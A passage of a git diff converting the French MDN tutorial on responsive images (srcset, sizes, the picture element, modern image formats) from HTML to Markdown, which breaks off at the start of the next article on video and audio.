formatez comme indiqué ci-dessus, avec une partie différente de la valeur de l'attribut sur chaque ligne. Chaque valeur contient une liste séparée par des virgules et chaque partie de la liste est composée de trois sous-parties. Passons maintenant en revue leur contenu.</p> +1. un nom de **fichier image** (`elva-fairy-480w.jpg`), +2. un espace, +3. la **largeur intrinsèque en pixels** (`480w`) — notez l'utilisation de l'unité `w`, et non `px` comme vous auriez pu penser. C'est la taille réelle de l'image; qui peut être trouvée en examinant les propriétés du fichier image sur l'ordinateur (par exemple sur un Mac, sélectionnez l'image dans le Finder, puis appuyez sur -<p><strong><code>srcset</code></strong> définit l'ensemble des images offertes au choix du navigateur, et la taille de chaque image. Avant chaque virgule, nous avons écrit :</p> + <kbd>Cmd</kbd> -<ol> - <li>un nom de <strong>fichier image </strong>(<code>elva-fairy-480w.jpg</code>),</li> - <li>un espace,</li> - <li>la <strong>largeur intrinsèque en pixels</strong> (<code>480w</code>) — notez l'utilisation de l'unité <code>w</code>, et non <code>px</code> comme vous auriez pu penser. C'est la taille réelle de l'image; qui peut être trouvée en examinant les propriétés du fichier image sur l'ordinateur (par exemple sur un Mac, sélectionnez l'image dans le Finder, puis appuyez sur <kbd>Cmd</kbd> + <kbd>I</kbd> pour faire apparaître l'écran des infos).</li> -</ol> + \+ -<p><strong><code>sizes</code></strong> définit un ensemble de conditions pour le média (par ex. des largeurs d'écran) et indique quelle taille d'image serait la plus adaptée si certaines conditions sont satisfaites — ce sont les conditions dont nous avons parlé plus haut. Dans ce cas, nous écrivons avant chaque virgule :</p> + <kbd>I</kbd> -<ol> - <li>une <strong>condition pour le média</strong> (<code>(max-width:480px)</code>) — vous pourrez en savoir plus à ce propos dans l'<a href="/fr/docs/Learn/CSS">article sur les CSS</a>, mais pour le moment disons simplement que cette condition pour le média décrit un état possible de l'écran. Dans notre cas, nous disons « si la largeur de fenêtre est de 480 pixels ou moins »,</li> - <li>une espace,</li> - <li><strong>la largeur de la place </strong>occupée par l'image si la condition pour le média est vraie (<code>440px</code>).</li> -</ol> + pour faire apparaître l'écran des infos). -<div class="note"> -<p><strong>Note :</strong> pour définir une largeur d'emplacement, vous pouvez indiquer une taille absolue (<code>px</code>, <code>em</code>) ou relative au viewport (<code>vw</code>), mais pas en pourcentage. Vous avez peut‑être noté que la dernière largeur d'emplacement ne comporte pas d'indication pour le média — c'est la valeur par défaut retenue quand aucune des conditions n'est vraie). Le navigateur ignore tout ce qui suit dès la première condition concordante ; donc soyez attentif à l'ordre de ces conditions pour le média.</p> -</div> +**`sizes`** définit un ensemble de conditions pour le média (par ex. des largeurs d'écran) et indique quelle taille d'image serait la plus adaptée si certaines conditions sont satisfaites — ce sont les conditions dont nous avons parlé plus haut. Dans ce cas, nous écrivons avant chaque virgule : -<p>Ainsi, une fois ces attributs en place, le navigateur va :</p> +1. une **condition pour le média** (`(max-width:480px)`) — vous pourrez en savoir plus à ce propos dans l'[article sur les CSS](/fr/docs/Learn/CSS), mais pour le moment disons simplement que cette condition pour le média décrit un état possible de l'écran. Dans notre cas, nous disons « si la largeur de fenêtre est de 480 pixels ou moins », +2. une espace, +3. **la largeur de la place** occupée par l'image si la condition pour le média est vraie (`440px`). -<ol> - <li>noter la largeur du périphérique,</li> - <li>vérifier quelle est la première condition vraie pour le média dans la liste des tailles,</li> - <li>noter la largeur d'emplacement demandée par le média,</li> - <li>charger l'image référencée dans la liste <code>srcset</code> qui est la plus proche de la taille choisie.</li> -</ol> +> **Note :** pour définir une largeur d'emplacement, vous pouvez indiquer une taille absolue (`px`, `em`) ou relative au viewport (`vw`), mais pas en pourcentage. Vous avez peut‑être noté que la dernière largeur d'emplacement ne comporte pas d'indication pour le média — c'est la valeur par défaut retenue quand aucune des conditions n'est vraie). Le navigateur ignore tout ce qui suit dès la première condition concordante ; donc soyez attentif à l'ordre de ces conditions pour le média. -<p>Et c'est tout ! Donc à ce stade, si un navigateur prenant en charge une largeur de vue de 480 px charge la page, la condition pour le média <code>(max-width: 480px)</code> sera vraie, donc une largeur d'emplacement de 440px sera choisie, donc le fichier <code>elva-fairy-480w.jpg</code> sera chargé, car sa largeur intrinsèque (<code>480w</code>) est celle qui est la plus proche de <code>440px</code>. L'image 800 px a une taille de 128 Ko sur disque alors que la version 480 px n'occupe que 63 Ko — une économie de 65Ko. Imaginez maintenant qu'il s'agisse d'une page avec beaucoup d'images. L'utilisation de cette technique peut permettre aux personnes naviguant sur mobile d'économiser beaucoup de bande passante.</p> +Ainsi, une fois ces attributs en place, le navigateur va : -<div class="note"> - <p><strong>Note :</strong> lorsque vous testez cela avec un navigateur de bureau, si ce dernier échoue à charger l'image la plus étroite alors que vous avez réduit la largeur de la fenêtre au maximum, regardez la taille du <i lang="en">viewport</i> (dont vous pouvez avoir une approximation via l'instruction <code>document.querySelector("html").clientWidth</code> dans la console JavaScript). Selon les navigateurs, il existe différentes tailles minimales au-delà desquelles on ne pourra pas plus réduire la fenêtre (tailles minimales qui pourraient être plus larges qu'on ne le pense). Lorsque vous testez avec un navigateur mobile, vous pouvez utiliser les outils comme la page <code>about:debugging</code> de Firefox pour inspecter la page chargée sur le mobile à l'aide des outils de développement pour navigateur de bureau.</p> - <p>Pour observer les images chargées, vous pouvez utiliser l'onglet <a href="/fr/docs/Tools/Network_Monitor">Moniteur réseau</a> dans les outils de développement de Firefox.</p> -</div> +1. noter la largeur du périphérique, +2. vérifier quelle est la première condition vraie pour le média dans la liste des tailles, +3. noter la largeur d'emplacement demandée par le média, +4. charger l'image référencée dans la liste `srcset` qui est la plus proche de la taille choisie. -<p>Les navigateurs les plus anciens qui ne prennent pas en charge ces fonctionnalités les ignorent; poursuivent et chargent normalement l'image référencée dans l'attribut <a href="/fr/docs/Web/HTML/Element/Img#attr-src"><code>src</code></a>.</p> +Et c'est tout ! Donc à ce stade, si un navigateur prenant en charge une largeur de vue de 480 px charge la page, la condition pour le média `(max-width: 480px)` sera vraie, donc une largeur d'emplacement de 440px sera choisie, donc le fichier `elva-fairy-480w.jpg` sera chargé, car sa largeur intrinsèque (`480w`) est celle qui est la plus proche de `440px`. L'image 800 px a une taille de 128 Ko sur disque alors que la version 480 px n'occupe que 63 Ko — une économie de 65Ko. Imaginez maintenant qu'il s'agisse d'une page avec beaucoup d'images. L'utilisation de cette technique peut permettre aux personnes naviguant sur mobile d'économiser beaucoup de bande passante. -<div class="note"> -<p><strong>Note :</strong> dans l'élément <a href="/fr/docs/Web/HTML/Element/head"><code><head></code></a> du document, vous trouvez la ligne <code><meta name="viewport" content="width=device-width"></code> : ceci force les navigateurs mobiles de prendre la largeur réelle de leur vue pour charger des pages web (certains navigateurs mobiles mentent à propos de la largeur de leur vue, et à la place chargent des pages pour une vue plus large, puis rétrécissent la page chargée, ce qui n'est pas vraiment une aide pour les pages adaptatives ou pour la conception).</p> -</div> +> **Note :** lorsque vous testez cela avec un navigateur de bureau, si ce dernier échoue à charger l'image la plus étroite alors que vous avez réduit la largeur de la fenêtre au maximum, regardez la taille du <i lang="en">viewport</i> (dont vous pouvez avoir une approximation via l'instruction `document.querySelector("html").clientWidth` dans la console JavaScript). Selon les navigateurs, il existe différentes tailles minimales au-delà desquelles on ne pourra pas plus réduire la fenêtre (tailles minimales qui pourraient être plus larges qu'on ne le pense). Lorsque vous testez avec un navigateur mobile, vous pouvez utiliser les outils comme la page `about:debugging` de Firefox pour inspecter la page chargée sur le mobile à l'aide des outils de développement pour navigateur de bureau. +> +> Pour observer les images chargées, vous pouvez utiliser l'onglet [Moniteur réseau](/fr/docs/Tools/Network_Monitor) dans les outils de développement de Firefox. +Les navigateurs les plus anciens qui ne prennent pas en charge ces fonctionnalités les ignorent; poursuivent et chargent normalement l'image référencée dans l'attribut [`src`](/fr/docs/Web/HTML/Element/Img#attr-src). -<h3 id="Commutation_de_résolution_même_taille_résolutions_differentes">Commutation de résolution : même taille, résolutions différentes</h3> +> **Note :** dans l'élément [`<head>`](/fr/docs/Web/HTML/Element/head) du document, vous trouvez la ligne `<meta name="viewport" content="width=device-width">` : ceci force les navigateurs mobiles de prendre la largeur réelle de leur vue pour charger des pages web (certains navigateurs mobiles mentent à propos de la largeur de leur vue, et à la place chargent des pages pour une vue plus large, puis rétrécissent la page chargée, ce qui n'est pas vraiment une aide pour les pages adaptatives ou pour la conception). -<p>Si votre ordinateur prend en charge plusieurs résolutions d'affichage, mais que tout le monde voit l'image avec la même taille effective sur l'écran, vous pouvez permettre au navigateur de choisir une image de résolution appropriée en utilisant <code>srcset</code> avec <code>x-descriptors</code> et sans <code>sizes</code> — une syntaxe un peu plus facile en quelque sorte ! Vous pouvez trouver un exemple de ce à quoi cela ressemble dans <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">srcset-resolutions.html</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">code source</a>) :</p> +### Commutation de résolution : même taille, résolutions différentes -<pre class="brush: html"><img srcset="elva-fairy-320w.jpg, +Si votre ordinateur prend en charge plusieurs résolutions d'affichage, mais que tout le monde voit l'image avec la même taille effective sur l'écran, vous pouvez permettre au navigateur de choisir une image de résolution appropriée en utilisant `srcset` avec `x-descriptors` et sans `sizes` — une syntaxe un peu plus facile en quelque sorte ! Vous pouvez trouver un exemple de ce à quoi cela ressemble dans [srcset-resolutions.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html)) : + +```html +<img srcset="elva-fairy-320w.jpg, elva-fairy-480w.jpg 1.5x, elva-fairy-640w.jpg 2x" - src="elva-fairy-640w.jpg" alt="Elva habillée en fée"> -</pre> + src="elva-fairy-640w.jpg" alt="Elva habillée en fée"> +``` -<p><img alt="Une photo d'une petite fille habillée en fée avec un filtre appliqué à l'image pour obtenir l'effet d'une vieille photo." src="resolution-example.png">Dans cet exemple, le CSS suivant est appliqué à l'image de façon à ce qu'elle ait une largeur de 320 pixels à l'écran (également nommée pixels CSS) :</p> +Dans cet exemple, le CSS suivant est appliqué à l'image de façon à ce qu'elle ait une largeur de 320 pixels à l'écran (également nommée pixels CSS) : -<pre class="brush: css">img { +```css +img { width: 320px; -}</pre> - -<p>Dans ce cas, <code>sizes</code> n'est pas nécessaire — le navigateur détermine simplement la résolution d'affichage de l'écran et montre l'image la plus appropriée référencée dans <code>srcset</code>. Donc si le dispositif accédant à la page a un affichage standard/basse résolution, avec un pixel de dispositif représentant chaque pixel CSS, l'image <code>elva-fairy-320w.jpg</code> sera chargée (le 1x est implicite, donc vous n'avez pas besoin de l'inclure.) Si le dispositif a une haute résolution de deux pixels de dispositif par pixel CSS ou plus, l'image <code>elva‑fairy-640w.jpg</code> sera chargée. L'image 640px a une taille de 93 Ko, alors que l'image 320 px n'a qu'une taille de 39 Ko.</p> +} +``` -<h3 id="Décision_de_nature_artistique">Décision de nature artistique</h3> +Dans ce cas, `sizes` n'est pas nécessaire — le navigateur détermine simplement la résolution d'affichage de l'écran et montre l'image la plus appropriée référencée dans `srcset`. Donc si le dispositif accédant à la page a un affichage standard/basse résolution, avec un pixel de dispositif représentant chaque pixel CSS, l'image `elva-fairy-320w.jpg` sera chargée (le 1x est implicite, donc vous n'avez pas besoin de l'inclure.) Si le dispositif a une haute résolution de deux pixels de dispositif par pixel CSS ou plus, l'image `elva‑fairy-640w.jpg` sera chargée. L'image 640px a une taille de 93 Ko, alors que l'image 320 px n'a qu'une taille de 39 Ko. -<p>Pour résumer, le problème des <strong>décisions de nature artistique</strong> réside dans le choix des modifications à apporter à l'image selon les diverses tailles d'affichage. Par exemple, si un instantané d'un grand plan paysager avec une personne au milieu, correctement affiché sur un site web avec le navigateur d'un ordinateur de bureau, est rétréci lorsque ce même site est visionné sur un navigateur de mobile, cet instantané risque d'avoir mauvaise mine, car la personne sera vraiment minuscule et difficile à voir. Il serait probablement préférable de montrer sur un mobile une image portrait plus petite d'un zoom sur la personne. L'élément <a href="/fr/docs/Web/HTML/Element/picture"><code><picture></code></a> nous permet d'implémenter ce type de solution.</p> +### Décision de nature artistique -<p>Revenons à notre exemple initial du fichier <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">not-responsive.html</a>. Cette image nécessite d'opérer un choix de nature artistique :</p> +Pour résumer, le problème des **décisions de nature artistique** réside dans le choix des modifications à apporter à l'image selon les diverses tailles d'affichage. Par exemple, si un instantané d'un grand plan paysager avec une personne au milieu, correctement affiché sur un site web avec le navigateur d'un ordinateur de bureau, est rétréci lorsque ce même site est visionné sur un navigateur de mobile, cet instantané risque d'avoir mauvaise mine, car la personne sera vraiment minuscule et difficile à voir. Il serait probablement préférable de montrer sur un mobile une image portrait plus petite d'un zoom sur la personne. L'élément [`<picture>`](/fr/docs/Web/HTML/Element/picture) nous permet d'implémenter ce type de solution. -<pre class="brush: html"><img src="elva-800w.jpg" alt="Chris debout tenant sa fille Elva dans ses bras"></pre> +Revenons à notre exemple initial du fichier [not-responsive.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html). Cette image nécessite d'opérer un choix de nature artistique : -<p>Arrangeons cela avec <a href="/fr/docs/Web/HTML/Element/picture"><code><picture></code></a>} ! Comme pour <code><vidéo></code> et <code><audio></code>, l'élément <code><picture></code> est une enveloppe conteneur de plusieurs éléments <a href="/fr/docs/Web/HTML/Element/Source"><code><source></code></a>} ; ces éléments indiquent plusieurs sources différentes entre lesquelles le navigateur peut choisir ; ils sont suivis du très important élément <a href="/fr/docs/Web/HTML/Element/Img"><code><img></code></a>}. Le code dans <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> ressemblera à :</p> +```html +<img src="elva-800w.jpg" alt="Chris debout tenant sa fille Elva dans ses bras"> +``` -<pre class="brush: html"><picture> - <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"> - <source media="(min-width: 800px)" srcset="elva-800w.jpg"> - <img src="elva-800w.jpg" alt="Chris debout tenant sa fille Elva dans ses bras"> -</picture> -</pre> +Arrangeons cela avec [`<picture>`](/fr/docs/Web/HTML/Element/picture)} ! Comme pour `<vidéo>` et `<audio>`, l'élément `<picture>` est une enveloppe conteneur de plusieurs éléments [`<source>`](/fr/docs/Web/HTML/Element/Source)} ; ces éléments indiquent plusieurs sources différentes entre lesquelles le navigateur peut choisir ; ils sont suivis du très important élément [`<img>`](/fr/docs/Web/HTML/Element/Img)}. Le code dans [responsive.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html) ressemblera à : -<ul> - <li>Les éléments <code><source></code> incluent un attribut <code>media</code> qui contient une condition pour le média — comme avec le premier exemple <code>srcset</code>, ces conditions sont testées pour décider de l'image à montrer — le premier qui renvoie <code>true</code> sera affiché. Dans notre cas, si la largeur de la fenêtre est de 799 px ou moins, l'image du premier élément <code><source></code> sera affichée. Si la largeur de la fenêtre est de 800 px plus, ce sera la deuxième.</li> - <li>Les attributs <code>srcset</code> contiennent le chemin vers l'image à afficher. Noter que comme avec <code><img></code> plus haut, <code><source></code> peut prendre plusieurs attributs <code>srcset</code> référençant plusieurs images, ainsi qu'un attribut <code>sizes</code> également. Ainsi, non seulement vous pouvez offrir plusieurs images par l'intermédiaire d'un élément <code><picture></code>, mais aussi offrir plusieurs résolutions pour chacune d'entre elles. En réalité, vous ne ferez pas ce type de montage très souvent.</li> - <li>Dans tous les cas, vous devez fournir un élément <code><img></code>, avec <code>src</code> et <code>alt</code>, juste avant <code></picture></code>, sinon aucune image n'apparaîtra. Cet élément ménage un cas par défaut appliqué si aucune des conditions de média ne renvoie vrai (vous pouvez réellement enlever le deuxième élément <code><source></code> dans cet exemple), et une solution de repli pour les navigateurs qui ne prennent pas en charge l'élément <code><picture></code>.</li> -</ul> +```html +<picture> + <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"> + <source media="(min-width: 800px)" srcset="elva-800w.jpg"> + <img src="elva-800w.jpg" alt="Chris debout tenant sa fille Elva dans ses bras"> +</picture> +``` -<p>Ce code nous permet d'afficher une image adaptée à la fois sur un écran large et sur un écran étroit, comme montré ci‑dessous :</p> +- Les éléments `<source>` incluent un attribut `media` qui contient une condition pour le média — comme avec le premier exemple `srcset`, ces conditions sont testées pour décider de l'image à montrer — le premier qui renvoie `true` sera affiché. Dans notre cas, si la largeur de la fenêtre est de 799 px ou moins, l'image du premier élément `<source>` sera affichée. Si la largeur de la fenêtre est de 800 px plus, ce sera la deuxième. +- Les attributs `srcset` contiennent le chemin vers l'image à afficher. Noter que comme avec `<img>` plus haut, `<source>` peut prendre plusieurs attributs `srcset` référençant plusieurs images, ainsi qu'un attribut `sizes` également. Ainsi, non seulement vous pouvez offrir plusieurs images par l'intermédiaire d'un élément `<picture>`, mais aussi offrir plusieurs résolutions pour chacune d'entre elles. En réalité, vous ne ferez pas ce type de montage très souvent. +- Dans tous les cas, vous devez fournir un élément `<img>`, avec `src` et `alt`, juste avant `</picture>`, sinon aucune image n'apparaîtra. Cet élément ménage un cas par défaut appliqué si aucune des conditions de média ne renvoie vrai (vous pouvez réellement enlever le deuxième élément `<source>` dans cet exemple), et une solution de repli pour les navigateurs qui ne prennent pas en charge l'élément `<picture>`. -<p><img alt="Notre exemple vu sur un écran assez large : la première image est OK et on voit le détail au centre." src="picture-element-wide.png"><img alt="Notre exemple vu sur un écran étroit où l'élément picture permet de passer la première image à une image en portrait, plus utile sur un écran étroit." src="picture-element-narrow.png"></p> +Ce code nous permet d'afficher une image adaptée à la fois sur un écran large et sur un écran étroit, comme montré ci‑dessous : -<div class="note"> -<p><strong>Note :</strong> vous ne devez utiliser l'attribut <code>media</code> qu'avec un scénario de décision de nature artistique ; quand vous utilisez <code>media</code>, ne mettez pas de conditions pour le média avec l'attribut <code>sizes.</code></p> -</div> + -<h3 id="Pourquoi_ne_peut-on_pas_réaliser_cela_avec_le_CSS_ou_du_JavaScript">Pourquoi ne peut-on pas réaliser cela avec le CSS ou du JavaScript ?</h3> +> **Note :** vous ne devez utiliser l'attribut `media` qu'avec un scénario de décision de nature artistique ; quand vous utilisez `media`, ne mettez pas de conditions pour le média avec l'attribut `sizes.` -<p>Lorsque le navigateur commence à charger une page, il commence à télécharger (précharger) toutes les images avant que l'analyseur principal n'ait commencé à charger et à interpréter le CSS et le JavaScript de la page. Cette technique est utile, car elle permet de réduire de 20 % en moyenne le temps de chargement des pages. Cependant, elle n'est d'aucune aide pour les images adaptatives, d'où la nécessité de mettre en œuvre des solutions comme <code>srcset</code>. Vous ne pourriez pas, par exemple, charger l'élément <a href="/fr/docs/Web/HTML/Element/Img"><code><img></code></a>}, puis détecter la largeur de fenêtre avec JavaScript et changer dynamiquement l'image source pour une image plus petite si désiré. À ce moment-là, l'image originale aurait déjà été chargée, et vous chargeriez en plus la petite image, ce qui est encore pire en termes d'image adaptative.</p> +### Pourquoi ne peut-on pas réaliser cela avec le CSS ou du JavaScript ? -<ul> -</ul> +Lorsque le navigateur commence à charger une page, il commence à télécharger (précharger) toutes les images avant que l'analyseur principal n'ait commencé à charger et à interpréter le CSS et le JavaScript de la page. Cette technique est utile, car elle permet de réduire de 20 % en moyenne le temps de chargement des pages. Cependant, elle n'est d'aucune aide pour les images adaptatives, d'où la nécessité de mettre en œuvre des solutions comme `srcset`. Vous ne pourriez pas, par exemple, charger l'élément [`<img>`](/fr/docs/Web/HTML/Element/Img)}, puis détecter la largeur de fenêtre avec JavaScript et changer dynamiquement l'image source pour une image plus petite si désiré. À ce moment-là, l'image originale aurait déjà été chargée, et vous chargeriez en plus la petite image, ce qui est encore pire en termes d'image adaptative. -<h3 id="Utilisez_largement_les_formats_dimage_modernes">Utilisez largement les formats d'image modernes</h3> +### Utilisez largement les formats d'image modernes -<p>Il existe plusieurs nouveaux formats d'image très intéressants (comme WebP et JPEG-2000) qui sont à la fois de taille réduite et de haute qualité. Toutefois, la prise en charge par les navigateurs est ponctuelle.</p> +Il existe plusieurs nouveaux formats d'image très intéressants (comme WebP et JPEG-2000) qui sont à la fois de taille réduite et de haute qualité. Toutefois, la prise en charge par les navigateurs est ponctuelle. -<p><code><picture></code> nous permet de servir encore les plus vieux navigateurs. Vous pouvez indiquer le type MIME dans les attributs <code>type</code> de façon à ce que le navigateur puisse immédiatement rejeter les types de fichiers non pris en charge :</p> +`<picture>` nous permet de servir encore les plus vieux navigateurs. Vous pouvez indiquer le type MIME dans les attributs `type` de façon à ce que le navigateur puisse immédiatement rejeter les types de fichiers non pris en charge : -<pre class="brush: html"><picture> - <source type="image/svg+xml" srcset="pyramid.svg"> - <source type="image/webp" srcset="pyramid.webp"> - <img src="pyramid.png" alt="Pyramide régulière constituée de quatre triangles équilatéraux"> -</picture> -</pre> +```html +<picture> + <source type="image/svg+xml" srcset="pyramid.svg"> + <source type="image/webp" srcset="pyramid.webp"> + <img src="pyramid.png" alt="Pyramide régulière constituée de quatre triangles équilatéraux"> +</picture> +``` -<ul> - <li>N'utilisez pas l'attribut <code>media</code>, sauf à devoir prendre une décision de nature artistique.</li> - <li>Dans un élément <code><source></code>, vous ne pouvez vous référer qu'à des images du type déclaré avec <code>type</code>.</li> - <li>Comme précédemment, il n'y a pas d'inconvénient à utiliser des listes avec une virgule comme séparateur avec <code>srcset</code> et <code>sizes</code>, selon les besoins.</li> -</ul> +- N'utilisez pas l'attribut `media`, sauf à devoir prendre une décision de nature artistique. +- Dans un élément `<source>`, vous ne pouvez vous référer qu'à des images du type déclaré avec `type`. +- Comme précédemment, il n'y a pas d'inconvénient à utiliser des listes avec une virgule comme séparateur avec `srcset` et `sizes`, selon les besoins. -<h2 id="Testez_vos_compétences">Testez vos compétences !</h2> +## Testez vos compétences ! -<p>Et vous voici à la fin de cet article, mais saurez-vous vous rappeler les informations les plus importantes ? Vous pourrez trouver une évaluation détaillée pour tester ces compétences à la fin du module : voir <a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Créer une page de présentation de Mozilla</a>.</p> +Et vous voici à la fin de cet article, mais saurez-vous vous rappeler les informations les plus importantes ? Vous pourrez trouver une évaluation détaillée pour tester ces compétences à la fin du module : voir [Créer une page de présentation de Mozilla](/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page). -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Voilà notre paquet‑cadeau pour des images adaptatives — nous espérons que ces nouvelles techniques vous plaisent. Résumons, nous vous avons exposé deux méthodes distinctes pour résoudre ce problème :</p> +Voilà notre paquet‑cadeau pour des images adaptatives — nous espérons que ces nouvelles techniques vous plaisent. Résumons, nous vous avons exposé deux méthodes distinctes pour résoudre ce problème : -<ul> - <li><strong>les décisions de nature artistique</strong> : cette méthode consiste à servir des images recadrées selon les diverses mises en page — par exemple, une image paysagère offrant toute la scène pour une mise en page destinée aux ordinateurs de bureau et une image portrait montrant le sujet principal zoomé de près pour une mise en page destinée aux mobiles. On résout alors ce problème avec <a href="/fr/docs/Web/HTML/Element/picture"><code><picture></code></a>.</li> - <li><strong>la commutation de résolution</strong> : cette méthode consiste à servir des images issues de fichiers plus petits pour les périphériques à petit écran, car ils n'ont que faire des grosses images prévues pour les écrans d'ordinateurs de bureau — et en plus, en option, adapter la résolution de l'image aux écrans de faible ou grande densité. On résout ce problème avec l'utilisation de <a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">graphiques vectoriels</a> (images SVG) ainsi qu'à l'aide des attributs <a href="/fr/docs/Web/HTML/Element/Img#attr-srcset"><code>srcset</code></a> et <a href="/fr/docs/Web/HTML/Element/Img#attr-sizes"><code>sizes</code></a>.</li> -</ul> +- **les décisions de nature artistique** : cette méthode consiste à servir des images recadrées selon les diverses mises en page — par exemple, une image paysagère offrant toute la scène pour une mise en page destinée aux ordinateurs de bureau et une image portrait montrant le sujet principal zoomé de près pour une mise en page destinée aux mobiles. On résout alors ce problème avec [`<picture>`](/fr/docs/Web/HTML/Element/picture). +- **la commutation de résolution** : cette méthode consiste à servir des images issues de fichiers plus petits pour les périphériques à petit écran, car ils n'ont que faire des grosses images prévues pour les écrans d'ordinateurs de bureau — et en plus, en option, adapter la résolution de l'image aux écrans de faible ou grande densité. On résout ce problème avec l'utilisation de [graphiques vectoriels](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) (images SVG) ainsi qu'à l'aide des attributs [`srcset`](/fr/docs/Web/HTML/Element/Img#attr-srcset) et [`sizes`](/fr/docs/Web/HTML/Element/Img#attr-sizes). -<p>Cet article est aussi la conclusion de l'ensemble du module <a href="/fr/docs/Learn/HTML/Multimedia_and_embedding">Multimedia et intégration</a> ! Avant de passer à autre chose, il vous reste à essayer notre évaluation multimédia et à voir comment vous vous en sortez. Amusez-vous bien.</p> +Cet article est aussi la conclusion de l'ensemble du module [Multimedia et intégration](/fr/docs/Learn/HTML/Multimedia_and_embedding) ! Avant de passer à autre chose, il vous reste à essayer notre évaluation multimédia et à voir comment vous vous en sortez. Amusez-vous bien. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="http://blog.cloudfour.com/responsive-images-101-definitions">L'excellente introduction aux images adaptatives de Jason Grigsby</a></li> - <li><a href="https://css-tricks.com/responsive-images-youre-just-changing-resolutions-use-srcset/">Images adaptatives : si vous changez juste de résolution, utilisez <code>srcset</code></a> — comporte plus d'explications sur la façon dont le navigateur retravaille l'image à utiliser</li> - <li><a href="/fr/docs/Web/HTML/Element/Img"><code><img></code></a></li> - <li><a href="/fr/docs/Web/HTML/Element/picture"><code><picture></code></a></li> - <li><a href="/fr/docs/Web/HTML/Element/Source"><code><source></code></a></li> -</ul> +- [L'excellente introduction aux images adaptatives de Jason Grigsby](http://blog.cloudfour.com/responsive-images-101-definitions) +- [Images adaptatives : si vous changez juste de résolution, utilisez `srcset`](https://css-tricks.com/responsive-images-youre-just-changing-resolutions-use-srcset/) — comporte plus d'explications sur la façon dont le navigateur retravaille l'image à utiliser +- [`<img>`](/fr/docs/Web/HTML/Element/Img) +- [`<picture>`](/fr/docs/Web/HTML/Element/picture) +- [`<source>`](/fr/docs/Web/HTML/Element/Source) -<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div> +{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Contenus audio et video</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">De <code><object></code> à <code><iframe></code> — autres techniques d'intégration</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Ajout de graphiques vectoriels dans le web</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Écran d'accueil Mozilla</a></li> -</ul>
\ No newline at end of file +- [Images en HTML](/fr/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML) +- [Contenus audio et video](/fr/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content) +- [De `<object>` à `<iframe>` — autres techniques d'intégration](/fr/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies) +- [Ajout de graphiques vectoriels dans le web](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) +- [Écran d'accueil Mozilla](/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page) diff --git a/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.md b/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.md index 75e2a70ecd..98fc50817c 100644 --- a/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.md @@ -14,302 +14,286 @@ tags: translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content original_slug: Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}} -<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</div> - -<p>Maintenant que nous sommes à l'aise pour ajouter de simples images dans une page web, nous passons à l'étape suivante : ajouter de la vidéo et un lecteur audio à vos documents HTML. Dans cet article, nous nous contenterons de le faire avec les éléments {{htmlelement("video")}} et {{htmlelement("audio")}}. Nous terminerons en apprenant comment ajouter des légendes et des sous-titres à vos vidéos.</p> +Maintenant que nous sommes à l'aise pour ajouter de simples images dans une page web, nous passons à l'étape suivante : ajouter de la vidéo et un lecteur audio à vos documents HTML. Dans cet article, nous nous contenterons de le faire avec les éléments {{htmlelement("video")}} et {{htmlelement("audio")}}. Nous terminerons en apprenant comment ajouter des légendes et des sous-titres à vos vidéos. <table class="standard-table"> - <tbody> - <tr> - <th 